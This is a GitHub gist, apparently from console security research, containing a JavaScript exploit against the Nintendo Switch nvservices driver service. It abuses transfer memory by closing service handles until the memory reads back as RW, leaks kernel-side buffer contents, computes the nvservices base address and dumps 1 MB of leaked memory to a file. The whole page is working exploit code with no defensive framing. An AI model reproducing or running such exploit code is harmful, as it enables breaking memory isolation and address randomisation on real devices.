Instantly share code, notes, and snippets.

@daeken /testnv.js Secret
Created Oct 17, 2018

Embed
What would you like to do?
var nvdev = function(name, hnd, tdsize) {
this.hnd = hnd;
var nbuf = utils.str2ab(name);
utils.dlog('Opening nvdev ' + name);
this.handle = window.sc.ipcMsg(0).data(tdsize).aDescriptor(nbuf, nbuf.byteLength, 0).sendTo(this.hnd).assertOk().data[0];
utils.dlog('Handle: ' + this.handle.toString(16));
window.sc.free(nbuf);
};
nvdev.prototype.ioctl = function(num, buf) {
utils.dlog('Send ioctl');
var resp = window.sc.ipcMsg(1).datau32(this.handle, num, 0, 0).aDescriptor(buf, buf.byteLength, 0).bDescriptor(buf, buf.byteLength, 0).xDescriptor(0, 0, 0).cDescriptor(0, 0).sendTo(this.hnd).assertOk();
return resp.data[0];
};
nvdev.prototype.close = function() {
window.sc.ipcMsg(2).data(this.handle, 0).sendTo(this.hnd);
};
var nvserv = function(tback) {
this.svchnd = window.sc.getService('nvdrv').assertOk();
this.tback = tback;
this.tmem = window.sc.getArrayBufferAddr(this.tback);
this.thandle = window.sc.svcCreateTransferMemory(tback.buffer, 0).assertOk();
window.sc.ipcMsg(3).datau32(this.tback.byteLength).copyHandle(0xffff8001).copyHandle(this.thandle).sendTo(this.svchnd).assertOk();
};
nvserv.prototype.open = function(name) {
return new nvdev(name, this.svchnd, this.tback.byteLength);
};
nvserv.prototype.leak = function() {
window.sc.svcCloseHandle(this.svchnd).assertOk();
window.sc.svcCloseHandle(this.thandle).assertOk();
var is_leaked = false;
while (!is_leaked) {
is_leaked = (sc.svcQueryMem(this.tmem).assertOk()[3] == 'RW');
}
return this.tmem;
};
var nvown = function(tback) {
this.svc = new nvserv(tback);
this.gpu = this.svc.open('/dev/nvhost-gpu');
};
function leakPrev(size) {
var leaker = new nvown(new Uint32Array(1 * 1024 * 1024 / 4));
var addr = leaker.svc.leak();
var base = sc.read8(addr, 0x8008 >> 2);
leaker.svc.tback = null;
switch(size) {
case 1:
return utils.sub2(base, 0x8000);
case 8:
return utils.sub2(base, 0xc000);
case 64:
return utils.sub2(base, 0x2b000);
}
return base;
};
var tback = new Uint32Array(1 * 1024 * 1024 / 4);
var obj1 = new nvown(tback);
obj1.svc.open('/dev/nvhost-gpu');
var buf = obj1.svc.leak();
var nvhost_channel = sc.read8(buf, 0xC000 >> 2);
var nvbase = utils.sub2(nvhost_channel, 0x61f910);
utils.log('nvservices base at ' + utils.paddr(nvbase));
tback = obj1.svc.tback = null;
var temp = new nvown(new Uint32Array(1 * 1024 * 1024 / 4));
var tempBase = leakPrev(1);
utils.log('address of current temp object mapping: ' + utils.paddr(tempBase));
buf = temp.svc.leak();
sc.memdump(buf, 1 * 1024 * 1024, "cdump.bin");
var tempBase2 = utils.sub2(sc.read8(buf, 0x1008 >> 2), 0x1A48);
utils.log('confirming address from leaked buffer: ' + utils.paddr(tempBase2));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment